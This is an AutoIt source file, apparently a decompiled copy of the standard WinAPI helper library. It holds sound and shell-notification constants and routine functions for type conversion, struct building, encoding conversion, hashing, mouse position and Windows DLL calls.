GLOBAL CONST $SND_ALIAS_ID = 1114112
GLOBAL CONST $SND_ASYNC = 1
GLOBAL CONST $SND_FILENAME = 131072
GLOBAL CONST $SND_LOOP = 8
GLOBAL CONST $SND_MEMORY = 4
GLOBAL CONST $SND_NODEFAULT = 2
GLOBAL CONST $SND_NOSTOP = 16
GLOBAL CONST $SND_NOWAIT = 8192
GLOBAL CONST $SND_PURGE = 64
GLOBAL CONST $SND_RESOURCE = 262148
GLOBAL CONST $SND_SENTRY = 524288
GLOBAL CONST $SND_SYNC = 0
GLOBAL CONST $SND_SYSTEM = 2097152
GLOBAL CONST $SND_SYSTEM_NOSTOP = 2097168
GLOBAL CONST $SND_ALIAS_SYSTEMASTERISK = "SystemAsterisk"
GLOBAL CONST $SND_ALIAS_SYSTEMDEFAULT = "SystemDefault"
GLOBAL CONST $SND_ALIAS_SYSTEMEXCLAMATION = "SystemExclamation"
GLOBAL CONST $SND_ALIAS_SYSTEMEXIT = "SystemExit"
GLOBAL CONST $SND_ALIAS_SYSTEMHAND = "SystemHand"
GLOBAL CONST $SND_ALIAS_SYSTEMQUESTION = "SystemQuestion"
GLOBAL CONST $SND_ALIAS_SYSTEMSTART = "SystemStart"
GLOBAL CONST $SND_ALIAS_SYSTEMWELCOME = "SystemWelcome"
#Region Global Variables and Constants
#EndRegion Global Variables and Constants
#Region Functions list
#EndRegion Functions list
#Region Public Functions
FUNC _WINAPI_CHARTOOEM ($SSTR )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "CharToOemW" , "wstr" , $SSTR , "wstr" , "" )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" )
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_CLIENTTOSCREEN ($HWND , BYREF $TPOINT )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "ClientToScreen" , "hwnd" , $HWND , "struct*" , $TPOINT )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN $TPOINT
ENDFUNC
FUNC _WINAPI_DWORDTOFLOAT ($IVALUE )
LOCAL $TDWORD = DLLSTRUCTCREATE ("dword" )
LOCAL $TFLOAT = DLLSTRUCTCREATE ("float" , DLLSTRUCTGETPTR ($TDWORD ) )
DLLSTRUCTSETDATA ($TDWORD , 1 , $IVALUE )
RETURN DLLSTRUCTGETDATA ($TFLOAT , 1 )
ENDFUNC
FUNC _WINAPI_DWORDTOINT ($IVALUE )
LOCAL $TDATA = DLLSTRUCTCREATE ("int" )
DLLSTRUCTSETDATA ($TDATA , 1 , $IVALUE )
RETURN DLLSTRUCTGETDATA ($TDATA , 1 )
ENDFUNC
FUNC _WINAPI_FLOATTODWORD ($IVALUE )
LOCAL $TFLOAT = DLLSTRUCTCREATE ("float" )
LOCAL $TDWORD = DLLSTRUCTCREATE ("dword" , DLLSTRUCTGETPTR ($TFLOAT ) )
DLLSTRUCTSETDATA ($TFLOAT , 1 , $IVALUE )
RETURN DLLSTRUCTGETDATA ($TDWORD , 1 )
ENDFUNC
FUNC _WINAPI_FLOATTOINT ($NFLOAT )
LOCAL $TFLOAT = DLLSTRUCTCREATE ("float" )
LOCAL $TINT = DLLSTRUCTCREATE ("int" , DLLSTRUCTGETPTR ($TFLOAT ) )
DLLSTRUCTSETDATA ($TFLOAT , 1 , $NFLOAT )
RETURN DLLSTRUCTGETDATA ($TINT , 1 )
ENDFUNC
FUNC _WINAPI_GETXYFROMPOINT (BYREF $TPOINT , BYREF $IX , BYREF $IY )
$IX = DLLSTRUCTGETDATA ($TPOINT , "X" )
$IY = DLLSTRUCTGETDATA ($TPOINT , "Y" )
ENDFUNC
FUNC _WINAPI_GUIDFROMSTRING ($SGUID )
LOCAL $TGUID = DLLSTRUCTCREATE ($TAGGUID )
_WINAPI_GUIDFROMSTRINGEX ($SGUID , $TGUID )
IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN $TGUID
ENDFUNC
FUNC _WINAPI_GUIDFROMSTRINGEX ($SGUID , $TGUID )
LOCAL $ARESULT = DLLCALL ("ole32.dll" , "long" , "CLSIDFromString" , "wstr" , $SGUID , "struct*" , $TGUID )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_HASHDATA ($PMEMORY , $ISIZE , $ILENGTH = 32 )
IF ($ILENGTH <= 0 ) OR ($ILENGTH > 256 ) THEN RETURN SETERROR (11 , 0 , 0 )
LOCAL $TDATA = DLLSTRUCTCREATE ("byte[" & $ILENGTH & "]" )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "uint" , "HashData" , "struct*" , $PMEMORY , "dword" , $ISIZE , "struct*" , $TDATA , "dword" , $ILENGTH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN DLLSTRUCTGETDATA ($TDATA , 1 )
ENDFUNC
FUNC _WINAPI_HASHSTRING ($SSTRING , $BCASESENSITIVE = TRUE , $ILENGTH = 32 )
LOCAL $ILENGTHS = STRINGLEN ($SSTRING )
IF NOT $ILENGTHS OR ($ILENGTH > 256 ) THEN RETURN SETERROR (12 , 0 , 0 )
LOCAL $TSTRING = DLLSTRUCTCREATE ("wchar[" & ($ILENGTHS + 1 ) & "]" )
IF NOT $BCASESENSITIVE THEN
$SSTRING = STRINGLOWER ($SSTRING )
ENDIF
DLLSTRUCTSETDATA ($TSTRING , 1 , $SSTRING )
LOCAL $SHASH = _WINAPI_HASHDATA ($TSTRING , 2 * $ILENGTHS , $ILENGTH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $SHASH
ENDFUNC
FUNC _WINAPI_HIBYTE ($IVALUE )
RETURN BITAND (BITSHIFT ($IVALUE , 8 ) , 255 )
ENDFUNC
FUNC _WINAPI_HIDWORD ($IVALUE )
LOCAL $TINT64 = DLLSTRUCTCREATE ("int64" )
LOCAL $TQWORD = DLLSTRUCTCREATE ("dword;dword" , DLLSTRUCTGETPTR ($TINT64 ) )
DLLSTRUCTSETDATA ($TINT64 , 1 , $IVALUE )
RETURN DLLSTRUCTGETDATA ($TQWORD , 2 )
ENDFUNC
FUNC _WINAPI_HIWORD ($ILONG )
RETURN BITSHIFT ($ILONG , 16 )
ENDFUNC
FUNC _WINAPI_INTTODWORD ($IVALUE )
LOCAL $TDATA = DLLSTRUCTCREATE ("dword" )
DLLSTRUCTSETDATA ($TDATA , 1 , $IVALUE )
RETURN DLLSTRUCTGETDATA ($TDATA , 1 )
ENDFUNC
FUNC _WINAPI_INTTOFLOAT ($IINT )
LOCAL $TINT = DLLSTRUCTCREATE ("int" )
LOCAL $TFLOAT = DLLSTRUCTCREATE ("float" , DLLSTRUCTGETPTR ($TINT ) )
DLLSTRUCTSETDATA ($TINT , 1 , $IINT )
RETURN DLLSTRUCTGETDATA ($TFLOAT , 1 )
ENDFUNC
FUNC _WINAPI_LOBYTE ($IVALUE )
RETURN BITAND ($IVALUE , 255 )
ENDFUNC
FUNC _WINAPI_LODWORD ($IVALUE )
LOCAL $TINT64 = DLLSTRUCTCREATE ("int64" )
LOCAL $TQWORD = DLLSTRUCTCREATE ("dword;dword" , DLLSTRUCTGETPTR ($TINT64 ) )
DLLSTRUCTSETDATA ($TINT64 , 1 , $IVALUE )
RETURN DLLSTRUCTGETDATA ($TQWORD , 1 )
ENDFUNC
FUNC _WINAPI_LOWORD ($ILONG )
RETURN BITAND ($ILONG , 65535 )
ENDFUNC
FUNC _WINAPI_LONGMID ($IVALUE , $ISTART , $ICOUNT )
RETURN BITAND (BITSHIFT ($IVALUE , $ISTART ) , BITOR (BITSHIFT (BITSHIFT (2147483647 , 32 - ($ICOUNT + 1 ) ) , 1 ) , BITSHIFT (1 , - ($ICOUNT + 4294967295 ) ) ) )
ENDFUNC
FUNC _WINAPI_MAKELANGID ($ILNGIDPRIMARY , $ILNGIDSUB )
RETURN BITOR (BITSHIFT ($ILNGIDSUB , + 4294967286 ) , $ILNGIDPRIMARY )
ENDFUNC
FUNC _WINAPI_MAKELCID ($ILNGID , $ISORTID )
RETURN BITOR (BITSHIFT ($ISORTID , + 4294967280 ) , $ILNGID )
ENDFUNC
FUNC _WINAPI_MAKELONG ($ILO , $IHI )
RETURN BITOR (BITSHIFT ($IHI , + 4294967280 ) , BITAND ($ILO , 65535 ) )
ENDFUNC
FUNC _WINAPI_MAKEQWORD ($ILODWORD , $IHIDWORD )
LOCAL $TINT64 = DLLSTRUCTCREATE ("uint64" )
LOCAL $TDWORDS = DLLSTRUCTCREATE ("dword;dword" , DLLSTRUCTGETPTR ($TINT64 ) )
DLLSTRUCTSETDATA ($TDWORDS , 1 , $ILODWORD )
DLLSTRUCTSETDATA ($TDWORDS , 2 , $IHIDWORD )
RETURN DLLSTRUCTGETDATA ($TINT64 , 1 )
ENDFUNC
FUNC _WINAPI_MAKEWORD ($ILO , $IHI )
LOCAL $TWORD = DLLSTRUCTCREATE ("ushort" )
LOCAL $TBYTE = DLLSTRUCTCREATE ("byte;byte" , DLLSTRUCTGETPTR ($TWORD ) )
DLLSTRUCTSETDATA ($TBYTE , 1 , $IHI )
DLLSTRUCTSETDATA ($TBYTE , 2 , $ILO )
RETURN DLLSTRUCTGETDATA ($TWORD , 1 )
ENDFUNC
FUNC _WINAPI_MULTIBYTETOWIDECHAR ($VTEXT , $ICODEPAGE = 0 , $IFLAGS = 0 , $BRETSTRING = FALSE )
LOCAL $STEXTTYPE = "str"
IF NOT ISSTRING ($VTEXT ) THEN $STEXTTYPE = "struct*"
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "int" , "MultiByteToWideChar" , "uint" , $ICODEPAGE , "dword" , $IFLAGS , $STEXTTYPE , $VTEXT , "int" , + 4294967295 , "ptr" , 0 , "int" , 0 )
IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $IOUT = $ARESULT [0 ]
LOCAL $TOUT = DLLSTRUCTCREATE ("wchar[" & $IOUT & "]" )
$ARESULT = DLLCALL ("kernel32.dll" , "int" , "MultiByteToWideChar" , "uint" , $ICODEPAGE , "dword" , $IFLAGS , $STEXTTYPE , $VTEXT , "int" , + 4294967295 , "struct*" , $TOUT , "int" , $IOUT )
IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 )
IF $BRETSTRING THEN RETURN DLLSTRUCTGETDATA ($TOUT , 1 )
RETURN $TOUT
ENDFUNC
FUNC _WINAPI_MULTIBYTETOWIDECHAREX ($STEXT , $PTEXT , $ICODEPAGE = 0 , $IFLAGS = 0 )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "int" , "MultiByteToWideChar" , "uint" , $ICODEPAGE , "dword" , $IFLAGS , "STR" , $STEXT , "int" , + 4294967295 , "struct*" , $PTEXT , "int" , (STRINGLEN ($STEXT ) + 1 ) * 2 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_OEMTOCHAR ($SSTR )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "OemToChar" , "str" , $SSTR , "str" , "" )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" )
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_POINTFROMRECT (BYREF $TRECT , $BCENTER = TRUE )
LOCAL $IX1 = DLLSTRUCTGETDATA ($TRECT , "Left" )
LOCAL $IY1 = DLLSTRUCTGETDATA ($TRECT , "Top" )
LOCAL $IX2 = DLLSTRUCTGETDATA ($TRECT , "Right" )
LOCAL $IY2 = DLLSTRUCTGETDATA ($TRECT , "Bottom" )
IF $BCENTER THEN
$IX1 = $IX1 + (($IX2 - $IX1 ) / 2 )
$IY1 = $IY1 + (($IY2 - $IY1 ) / 2 )
ENDIF
LOCAL $TPOINT = DLLSTRUCTCREATE ($TAGPOINT )
DLLSTRUCTSETDATA ($TPOINT , "X" , $IX1 )
DLLSTRUCTSETDATA ($TPOINT , "Y" , $IY1 )
RETURN $TPOINT
ENDFUNC
FUNC _WINAPI_PRIMARYLANGID ($ILNGID )
RETURN BITAND ($ILNGID , 1023 )
ENDFUNC
FUNC _WINAPI_SCREENTOCLIENT ($HWND , BYREF $TPOINT )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "ScreenToClient" , "hwnd" , $HWND , "struct*" , $TPOINT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_SHORTTOWORD ($IVALUE )
RETURN BITAND ($IVALUE , 65535 )
ENDFUNC
FUNC _WINAPI_STRFORMATBYTESIZE ($ISIZE )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "ptr" , "StrFormatByteSizeW" , "int64" , $ISIZE , "wstr" , "" , "uint" , 1024 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" )
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_STRFORMATBYTESIZEEX ($ISIZE )
LOCAL $ASYMBOL = DLLCALL ("kernel32.dll" , "int" , "GetLocaleInfoW" , "dword" , 1024 , "dword" , 15 , "wstr" , "" , "int" , 2048 )
IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" )
LOCAL $SSIZE = _WINAPI_STRFORMATBYTESIZE (0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN STRINGREPLACE ($SSIZE , "0" , STRINGREGEXPREPLACE (NUMBER ($ISIZE ) , "(?<=\d)(?=(\d{3})+\z)" , $ASYMBOL [3 ] ) )
ENDFUNC
FUNC _WINAPI_STRFORMATKBSIZE ($ISIZE )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "ptr" , "StrFormatKBSizeW" , "int64" , $ISIZE , "wstr" , "" , "uint" , 1024 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" )
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_STRFROMTIMEINTERVAL ($ITIME , $IDIGITS = 7 )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "int" , "StrFromTimeIntervalW" , "wstr" , "" , "uint" , 1024 , "dword" , $ITIME , "int" , $IDIGITS )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" )
RETURN STRINGSTRIPWS ($ARET [1 ] , $STR_STRIPLEADING + $STR_STRIPTRAILING )
ENDFUNC
FUNC _WINAPI_STRINGFROMGUID ($TGUID )
LOCAL $ARESULT = DLLCALL ("ole32.dll" , "int" , "StringFromGUID2" , "struct*" , $TGUID , "wstr" , "" , "int" , 40 )
IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN SETEXTENDED ($ARESULT [0 ] , $ARESULT [2 ] )
ENDFUNC
FUNC _WINAPI_SUBLANGID ($ILNGID )
RETURN BITSHIFT ($ILNGID , 10 )
ENDFUNC
FUNC _WINAPI_SWAPDWORD ($IVALUE )
LOCAL $TSTRUCT1 = DLLSTRUCTCREATE ("dword;dword" )
LOCAL $TSTRUCT2 = DLLSTRUCTCREATE ("byte[4];byte[4]" , DLLSTRUCTGETPTR ($TSTRUCT1 ) )
DLLSTRUCTSETDATA ($TSTRUCT1 , 1 , $IVALUE )
FOR $I = 1 TO 4
DLLSTRUCTSETDATA ($TSTRUCT2 , 2 , DLLSTRUCTGETDATA ($TSTRUCT2 , 1 , 5 - $I ) , $I )
NEXT
RETURN DLLSTRUCTGETDATA ($TSTRUCT1 , 2 )
ENDFUNC
FUNC _WINAPI_SWAPQWORD ($IVALUE )
LOCAL $TSTRUCT1 = DLLSTRUCTCREATE ("int64;int64" )
LOCAL $TSTRUCT2 = DLLSTRUCTCREATE ("byte[8];byte[8]" , DLLSTRUCTGETPTR ($TSTRUCT1 ) )
DLLSTRUCTSETDATA ($TSTRUCT1 , 1 , $IVALUE )
FOR $I = 1 TO 8
DLLSTRUCTSETDATA ($TSTRUCT2 , 2 , DLLSTRUCTGETDATA ($TSTRUCT2 , 1 , 9 - $I ) , $I )
NEXT
RETURN DLLSTRUCTGETDATA ($TSTRUCT1 , 2 )
ENDFUNC
FUNC _WINAPI_SWAPWORD ($IVALUE )
LOCAL $TSTRUCT1 = DLLSTRUCTCREATE ("word;word" )
LOCAL $TSTRUCT2 = DLLSTRUCTCREATE ("byte[2];byte[2]" , DLLSTRUCTGETPTR ($TSTRUCT1 ) )
DLLSTRUCTSETDATA ($TSTRUCT1 , 1 , $IVALUE )
FOR $I = 1 TO 2
DLLSTRUCTSETDATA ($TSTRUCT2 , 2 , DLLSTRUCTGETDATA ($TSTRUCT2 , 1 , 3 - $I ) , $I )
NEXT
RETURN DLLSTRUCTGETDATA ($TSTRUCT1 , 2 )
ENDFUNC
FUNC _WINAPI_WIDECHARTOMULTIBYTE ($VUNICODE , $ICODEPAGE = 0 , $BRETNOSTRUCT = TRUE , $BRETBINARY = FALSE )
LOCAL $SUNICODETYPE = "wstr"
IF NOT ISSTRING ($VUNICODE ) THEN $SUNICODETYPE = "struct*"
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "int" , "WideCharToMultiByte" , "uint" , $ICODEPAGE , "dword" , 0 , $SUNICODETYPE , $VUNICODE , "int" , + 4294967295 , "ptr" , 0 , "int" , 0 , "ptr" , 0 , "ptr" , 0 )
IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , "" )
LOCAL $TMULTIBYTE = DLLSTRUCTCREATE ((($BRETBINARY ) ("byte" ) ("char" ) ) & "[" & $ARESULT [0 ] & "]" )
$ARESULT = DLLCALL ("kernel32.dll" , "int" , "WideCharToMultiByte" , "uint" , $ICODEPAGE , "dword" , 0 , $SUNICODETYPE , $VUNICODE , "int" , + 4294967295 , "struct*" , $TMULTIBYTE , "int" , $ARESULT [0 ] , "ptr" , 0 , "ptr" , 0 )
IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" )
IF $BRETNOSTRUCT THEN RETURN DLLSTRUCTGETDATA ($TMULTIBYTE , 1 )
RETURN $TMULTIBYTE
ENDFUNC
FUNC _WINAPI_WORDTOSHORT ($IVALUE )
IF BITAND ($IVALUE , 32768 ) THEN
RETURN BITOR ($IVALUE , 4294934528 )
ENDIF
RETURN BITAND ($IVALUE , 32767 )
ENDFUNC
#EndRegion Public Functions
#Region Global Variables and Constants
#EndRegion Global Variables and Constants
#Region Functions list
#EndRegion Functions list
#Region Public Functions
FUNC _WINAPI_ARRAYTOSTRUCT (CONST BYREF $ADATA , $ISTART = 0 , $IEND = + 4294967295 )
IF __CHECKERRORARRAYBOUNDS ($ADATA , $ISTART , $IEND ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $TAGSTRUCT = ""
FOR $I = $ISTART TO $IEND
$TAGSTRUCT &= "wchar[" & (STRINGLEN ($ADATA [$I ] ) + 1 ) & "];"
NEXT
LOCAL $TDATA = DLLSTRUCTCREATE ($TAGSTRUCT & "wchar[1]" )
LOCAL $ICOUNT = 1
FOR $I = $ISTART TO $IEND
DLLSTRUCTSETDATA ($TDATA , $ICOUNT , $ADATA [$I ] )
$ICOUNT += 1
NEXT
DLLSTRUCTSETDATA ($TDATA , $ICOUNT , CHRW (0 ) )
RETURN $TDATA
ENDFUNC
FUNC _WINAPI_CREATEMARGINS ($ILEFTWIDTH , $IRIGHTWIDTH , $ITOPHEIGHT , $IBOTTOMHEIGHT )
LOCAL $TMARGINS = DLLSTRUCTCREATE ($TAGMARGINS )
DLLSTRUCTSETDATA ($TMARGINS , 1 , $ILEFTWIDTH )
DLLSTRUCTSETDATA ($TMARGINS , 2 , $IRIGHTWIDTH )
DLLSTRUCTSETDATA ($TMARGINS , 3 , $ITOPHEIGHT )
DLLSTRUCTSETDATA ($TMARGINS , 4 , $IBOTTOMHEIGHT )
RETURN $TMARGINS
ENDFUNC
FUNC _WINAPI_CREATEPOINT ($IX , $IY )
LOCAL $TPOINT = DLLSTRUCTCREATE ($TAGPOINT )
DLLSTRUCTSETDATA ($TPOINT , 1 , $IX )
DLLSTRUCTSETDATA ($TPOINT , 2 , $IY )
RETURN $TPOINT
ENDFUNC
FUNC _WINAPI_CREATERECT ($ILEFT , $ITOP , $IRIGHT , $IBOTTOM )
LOCAL $TRECT = DLLSTRUCTCREATE ($TAGRECT )
DLLSTRUCTSETDATA ($TRECT , 1 , $ILEFT )
DLLSTRUCTSETDATA ($TRECT , 2 , $ITOP )
DLLSTRUCTSETDATA ($TRECT , 3 , $IRIGHT )
DLLSTRUCTSETDATA ($TRECT , 4 , $IBOTTOM )
RETURN $TRECT
ENDFUNC
FUNC _WINAPI_CREATERECTEX ($IX , $IY , $IWIDTH , $IHEIGHT )
LOCAL $TRECT = DLLSTRUCTCREATE ($TAGRECT )
DLLSTRUCTSETDATA ($TRECT , 1 , $IX )
DLLSTRUCTSETDATA ($TRECT , 2 , $IY )
DLLSTRUCTSETDATA ($TRECT , 3 , $IX + $IWIDTH )
DLLSTRUCTSETDATA ($TRECT , 4 , $IY + $IHEIGHT )
RETURN $TRECT
ENDFUNC
FUNC _WINAPI_CREATESIZE ($IWIDTH , $IHEIGHT )
LOCAL $TSIZE = DLLSTRUCTCREATE ($TAGSIZE )
DLLSTRUCTSETDATA ($TSIZE , 1 , $IWIDTH )
DLLSTRUCTSETDATA ($TSIZE , 2 , $IHEIGHT )
RETURN $TSIZE
ENDFUNC
FUNC _WINAPI_COPYSTRUCT ($TSTRUCT , $SSTRUCT = "" )
LOCAL $ISIZE = DLLSTRUCTGETSIZE ($TSTRUCT )
IF NOT $ISIZE THEN RETURN SETERROR (1 , 0 , 0 )
LOCAL $TRESULT
IF NOT STRINGSTRIPWS ($SSTRUCT , $STR_STRIPLEADING + $STR_STRIPTRAILING + $STR_STRIPSPACES ) THEN
$TRESULT = DLLSTRUCTCREATE ("byte[" & $ISIZE & "]" )
ELSE
$TRESULT = DLLSTRUCTCREATE ($SSTRUCT )
ENDIF
IF DLLSTRUCTGETSIZE ($TRESULT ) < $ISIZE THEN RETURN SETERROR (2 , 0 , 0 )
_WINAPI_MOVEMEMORY ($TRESULT , $TSTRUCT , $ISIZE )
RETURN $TRESULT
ENDFUNC
FUNC _WINAPI_GETEXTENDED ()
RETURN $__G_VEXT
ENDFUNC
FUNC _WINAPI_GETMOUSEPOS ($BTOCLIENT = FALSE , $HWND = 0 )
LOCAL $IMODE = OPT ("MouseCoordMode" , 1 )
LOCAL $APOS = MOUSEGETPOS ()
OPT ("MouseCoordMode" , $IMODE )
LOCAL $TPOINT = DLLSTRUCTCREATE ($TAGPOINT )
DLLSTRUCTSETDATA ($TPOINT , "X" , $APOS [0 ] )
DLLSTRUCTSETDATA ($TPOINT , "Y" , $APOS [1 ] )
IF $BTOCLIENT AND NOT _WINAPI_SCREENTOCLIENT ($HWND , $TPOINT ) THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 )
RETURN $TPOINT
ENDFUNC
FUNC _WINAPI_GETMOUSEPOSX ($BTOCLIENT = FALSE , $HWND = 0 )
LOCAL $TPOINT = _WINAPI_GETMOUSEPOS ($BTOCLIENT , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN DLLSTRUCTGETDATA ($TPOINT , "X" )
ENDFUNC
FUNC _WINAPI_GETMOUSEPOSY ($BTOCLIENT = FALSE , $HWND = 0 )
LOCAL $TPOINT = _WINAPI_GETMOUSEPOS ($BTOCLIENT , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN DLLSTRUCTGETDATA ($TPOINT , "Y" )
ENDFUNC
FUNC _WINAPI_MULDIV ($INUMBER , $INUMERATOR , $IDENOMINATOR )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "int" , "MulDiv" , "int" , $INUMBER , "int" , $INUMERATOR , "int" , $IDENOMINATOR )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_PLAYSOUND ($SSOUND , $IFLAGS = $SND_SYSTEM_NOSTOP , $HINSTANCE = 0 )
LOCAL $STYPEOFSOUND = "ptr"
IF $SSOUND THEN
IF ISSTRING ($SSOUND ) THEN
$STYPEOFSOUND = "wstr"
ENDIF
ELSE
$SSOUND = 0
$IFLAGS = 0
ENDIF
LOCAL $ARET = DLLCALL ("winmm.dll" , "bool" , "PlaySoundW" , $STYPEOFSOUND , $SSOUND , "handle" , $HINSTANCE , "dword" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_STRINGLENA (CONST BYREF $TSTRING )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "int" , "lstrlenA" , "struct*" , $TSTRING )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_STRINGLENW (CONST BYREF $TSTRING )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "int" , "lstrlenW" , "struct*" , $TSTRING )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_STRUCTTOARRAY (BYREF $TSTRUCT , $IITEMS = 0 )
LOCAL $ISIZE = 2 * FLOOR (DLLSTRUCTGETSIZE ($TSTRUCT ) / 2 )
LOCAL $PSTRUCT = DLLSTRUCTGETPTR ($TSTRUCT )
IF NOT $ISIZE OR NOT $PSTRUCT THEN RETURN SETERROR (1 , 0 , 0 )
LOCAL $TDATA , $ILENGTH , $IOFFSET = 0
LOCAL $ARESULT [101 ] = [0 ]
WHILE 1
$ILENGTH = _WINAPI_STRLEN ($PSTRUCT + $IOFFSET )
IF NOT $ILENGTH THEN
EXITLOOP
ENDIF
IF 2 * (1 + $ILENGTH ) + $IOFFSET > $ISIZE THEN RETURN SETERROR (3 , 0 , 0 )
$TDATA = DLLSTRUCTCREATE ("wchar[" & (1 + $ILENGTH ) & "]" , $PSTRUCT + $IOFFSET )
IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , 0 , 0 )
__INC ($ARESULT )
$ARESULT [$ARESULT [0 ] ] = DLLSTRUCTGETDATA ($TDATA , 1 )
IF $ARESULT [0 ] = $IITEMS THEN
EXITLOOP
ENDIF
$IOFFSET += 2 * (1 + $ILENGTH )
IF $IOFFSET >= $ISIZE THEN RETURN SETERROR (3 , 0 , 0 )
WEND
IF NOT $ARESULT [0 ] THEN RETURN SETERROR (2 , 0 , 0 )
__INC ($ARESULT , + 4294967295 )
RETURN $ARESULT
ENDFUNC
FUNC _WINAPI_UNIONSTRUCT ($TSTRUCT1 , $TSTRUCT2 , $SSTRUCT = "" )
LOCAL $ASIZE [2 ] = [DLLSTRUCTGETSIZE ($TSTRUCT1 ) , DLLSTRUCTGETSIZE ($TSTRUCT2 ) ]
IF NOT $ASIZE [0 ] OR NOT $ASIZE [1 ] THEN RETURN SETERROR (1 , 0 , 0 )
LOCAL $TRESULT
IF NOT STRINGSTRIPWS ($SSTRUCT , $STR_STRIPLEADING + $STR_STRIPTRAILING + $STR_STRIPSPACES ) THEN
$TRESULT = DLLSTRUCTCREATE ("byte[" & ($ASIZE [0 ] + $ASIZE [1 ] ) & "]" )
ELSE
$TRESULT = DLLSTRUCTCREATE ($SSTRUCT )
ENDIF
IF DLLSTRUCTGETSIZE ($TRESULT ) < ($ASIZE [0 ] + $ASIZE [1 ] ) THEN RETURN SETERROR (2 , 0 , 0 )
_WINAPI_MOVEMEMORY ($TRESULT , $TSTRUCT1 , $ASIZE [0 ] )
_WINAPI_MOVEMEMORY (DLLSTRUCTGETPTR ($TRESULT ) + $ASIZE [0 ] , $TSTRUCT2 , $ASIZE [1 ] )
RETURN $TRESULT
ENDFUNC
#EndRegion Public Functions
GLOBAL CONST $DLLVER_PLATFORM_WINDOWS = 1
GLOBAL CONST $DLLVER_PLATFORM_NT = 2
GLOBAL CONST $SHCNE_ALLEVENTS = 2147483647
GLOBAL CONST $SHCNE_ASSOCCHANGED = 134217728
GLOBAL CONST $SHCNE_ATTRIBUTES = 2048
GLOBAL CONST $SHCNE_CREATE = 2
GLOBAL CONST $SHCNE_DELETE = 4
GLOBAL CONST $SHCNE_DRIVEADD = 256
GLOBAL CONST $SHCNE_DRIVEADDGUI = 65536
GLOBAL CONST $SHCNE_DRIVEREMOVED = 128
GLOBAL CONST $SHCNE_EXTENDED_EVENT = 67108864
GLOBAL CONST $SHCNE_FREESPACE = 262144
GLOBAL CONST $SHCNE_MEDIAINSERTED = 32
GLOBAL CONST $SHCNE_MEDIAREMOVED = 64
GLOBAL CONST $SHCNE_MKDIR = 8
GLOBAL CONST $SHCNE_NETSHARE = 512
GLOBAL CONST $SHCNE_NETUNSHARE = 1024
GLOBAL CONST $SHCNE_RENAMEFOLDER = 131072
GLOBAL CONST $SHCNE_RENAMEITEM = 1
GLOBAL CONST $SHCNE_RMDIR = 16
GLOBAL CONST $SHCNE_SERVERDISCONNECT = 16384
